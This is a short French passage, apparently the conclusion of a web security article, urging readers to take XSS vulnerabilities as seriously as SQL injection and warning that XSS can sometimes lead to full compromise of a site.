Pour conclure, j’espère vous avoir convaincu que la faille XSS représente une réelle menace, et qu’il est très important de la prendre au sérieux. Si le filtrage des variables contre les injections SQL commence à rentrer dans les mœurs, on ne peut pas en dire autant pour les XSS. Et pourtant, cette dernière permet dans certains cas de rooter complétement un site…